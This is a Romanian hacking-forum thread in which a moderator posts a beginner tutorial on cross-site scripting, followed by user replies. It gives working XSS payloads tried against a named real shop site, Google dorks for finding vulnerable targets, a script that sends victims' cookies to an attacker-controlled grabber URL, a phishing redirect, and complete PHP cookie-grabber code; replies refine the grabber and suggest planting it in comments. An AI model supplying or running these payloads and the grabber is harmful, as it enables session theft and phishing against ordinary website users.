Jump to content
Dragos

Despre XSS

Recommended Posts

  • Moderators
Posted (edited)

Despre XSS

Autor: Synthesis

Data: 19 mai 2010

Acest articol este munca a doua ore si un bax de Becks.

Cuprins:


[1] Ce este XSS?
[2] Tipuri de XSS
[2.1] XSS nepersistent
[2.2] XSS persistent
[3] Cum se exploateaza un XSS?
[3.1] Furtul de prajiturele
[3.2] Redirectionarea catre alta pagina
[3.3] Trecerea de filtrele de securitate
[4] Cum se creeaza un cookie grabber?

Cerinte:


Cunostinte HTML
Cunostinte JavaScript
Cunostinte PHP

1. Ce este XSS?

XSS (Cross Site Scripting) este o vulnerabilitate foarte intalnita in aplicatiile web ce permite utilizatorilor sa injecteze cod javascript in pagini web ce pot fi vizualizate de ceilalti. Cu ajutorul acestor coduri javascript se pot fura cookie-uri, se pot trece de filtrele de securitate, se pot face redirectionari catre alte pagini web pentru phishing. Vom vorbi despre toate acestea pe parcursul articolului.

Vulnerabilitatile de tip XSS sunt exploatate inca din anii '90. Timp de 20 de ani, acest atac a afectat multe site-uri mari precum Google, Yahoo!, hi5, Facebook, MySpace, Tagged s.a.

2. Tipuri de XSS

Exista doua tipuri de Cross Site Scripting.

[2.1] XSS nepersistent

In primul rand este XSS-ul nepersistent (sau reflectat), ce se foloseste in formularele de tip HTML (HTML forms). Spre exemplu, luam site-ul First Bike. Vom observa in partea dreapta sus o casuta de cautare. Sa scriem spre exemplu cuvantul test. URL-ul va fi de genul urmator :

http://firstbike.ro/cauta.php?src=test

Bun, deci cautarea se face prin GET. In loc de test vom adauga un cod javascript simplu, si anume alert.

http://firstbike.ro/cauta.php?src=<script>alert('xss')</script>

Browserul va arata o casuta in care scrie xss. Acum, in loc de 'xss' vom pune document.cookie. Acesta este defapt cookie-ul tau de pe site.

http://firstbike.ro/cauta.php?src=<script>alert(document.cookie)</script>

De aici, se poate crea un cookie grabber pentru a fura cookie-urile utilizatorilor. Vom vorbi despre asta putin mai tarziu in articol.

[2.2] XSS persistent

In al doilea rand este XSS-ul persistent (sau retinut), ce este mult mai rau decat XSS-ul reflectat. Acest tip de XSS este memorat in site si este accesibil oricarui utilizator. Cel mai frecvent am observat ca acest tip de XSS se regaseste in site-urile ce memoreaza ultimele cautari alte utilizatorilor. Puteti vedea aici un exemplu de XSS persistent. Pentru mai multe XSS-uri persistente cautati pe Google cu Google dorks:


intext: cautari similare
intext: cautari recente
intext: ulitmele cautari
intext: cautari referate
intext: cautari muzica
etc.

3. Cum se exploateaza un XSS?

Cum apare un XSS?

Un XSS apare din cauza nefiltrarii (sau filtrarii proaste) a codului. Aveti mai jos un exemplu de nefiltrare al XSS-ului


<html>
<head>
<title>Vulnerabilitate XSS</title>
</head>
<body>
<form action="index.php" method="get">
<input type="text" value="codul tau aici" name="cauta">
<input type="submit" value="cauta">
</form>
<?php
$get = $_GET['cauta'];
echo $get;
?>

Pentru a exploata un XSS, trebuie in primul rand sa ai notiunile de baza despre JavaScript.

[3.1] Furtul de prajiturele

XSS-ul este folosit in principal pentru a fura prajiturele (cookies). Pentru asta, se foloseste document.location sau window.location pentru a redirectiona victima catre un cookie grabber (despre care discutam imediat in articol). Codul este urmatorul:

<script>document.location="http://www.siteultau.ro/grabber/index.php?cookie="+document.cookie;</script>

[3.2] Redirectionarea catre alta pagina

Codul este aproximativ la fel, doar ca nu mai folosim document.cookie. Acest cod este folosit deseori pentru furtul de date.

<script>document.location="http://www.siteultau.ro/paginafalsa/index.php";</script>

[3.3] Trecerea de filtrele de securitate

Acest tip de XSS este scris de obicei in bara de adresa.

Spre exemplu, daca avem un INPUT care are valoarea maxima de X caractere, putem folosi comanda urmatoare pentru a scrie cate caractere vrem:

javascript:document.getElementsByTagName('form')[0].NAME.value = "textul tau aici"; void(0);

[0] = index-ul

NAME = NAME-ul input-ului (ex: <input type="text" name="rstcenter">)

Prin acest JavaScript am dat de cateva XSS permanente in site-uri mari precum Yahoo! si hi5.

4. Cum se creeaza un cookie grabber?

Am discutat anterior despre furtul cookie-urilor. Acum voi explica cum se face un simplu cookie grabber.

In primul rand vom folosi functia $_GET pentru a prelua cookie-ul.


<?php
$c = $_GET['cookie'];
?>

Aceasta functie va prelua orice text ce vine dupa cookie=. Spre exemplu, daca avem index.php?cookie=2dccd1ab3e03990aea77359831c85ca2, codul 2dccd1ab3e03990aea77359831c85ca2 va fi preluat in variabila $c. Il vom memora intr-un fisier .txt.


<?php
$c= $_GET['cookie'] . "\n";
$fisier = "prajiturele.txt";
$deschis = fopen($fisier, 'a');
fwrite($deschis, $c);
fclose($deschis);
?>

Pentru incepatori:

1. Fisierul prajiturele.txt se pune in acelasi director cu cookie grabber-ul.

2. Fisierul prajiturele.txt primeste CHMOD 777.

Sper ca v-a ajutat acest mic tutorial!

Edited by Dragos
  • Upvote 4
  • Downvote 2
Posted

[3.3] -- bun bun; un tutorial bine explicat pentru incepatori, mai ales notiunea GET (deasemenea puteai sa faci si o mica paranteza explicand de ce GET si nu POST si/sau care sunt diferentele intre acestea 2)

Posted (edited)

dar sa zicem ca un site are vulnerabilitatea xss si are poti sa pui comentari la articole daca pun un comentariu <script>alert("parazitul29")</script> il ia ca script si se afiseaza parazitul29 oricui vizualizeaza acel articol sau codul nu este luat ca script si nu se intampla nimic, eu cred ca e prima varianta

Edited by parazitul29
  • Moderators
Posted
dar sa zicem ca un site are vulnerabilitatea xss si are poti sa pui comentari la articole daca pun un comentariu <script>alert("parazitul29")</script> il ia ca script si se afiseaza parazitul29 oricui vizualizeaza acel articol sau codul nu este luat ca script si nu se intampla nimic, eu cred ca e prima varianta

Incearca sa introduci codul javascript la comentarii dupa care sa intri cu proxy pe site (javascript enabled). Daca este xss persistent si TRECE de filtre, poti introduce cookie grabber sau o pagina pentru phishing.

Posted

Daca acel cod JS ramane acolo, in comentariu, si se executa, location.href direct, redirect, vizite :D Lasa dracu alert() :))

Vezi ca la $c = $_GET['cookie'] . '\n'; trebuie double quotes pe \n.

Posted

il pui pe aite-ul tau(sunt zeci de hosturi free) si il denumesti graber.php si mai faci si prajiturele.txt si cum a scris si sintethis trebuie sa cfie cu chmod777

uite o explicatie a cokie grabberului poate intelegi ceva

<?php

$c= $_GET['cookie'] . "\n";//se salveaza cookie-ul in variabila c

$fisier = "prajiturele.txt";//fisierul in care se va scrie cookie

$deschis = fopen($fisier, 'a');// se deschide fisierul

fwrite($deschis, $c);//se scrie in fiserul pe care l-ai deschis,variabila "c" care contine cokie-ul

fclose($deschis);//se inchide fisierul

?>

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...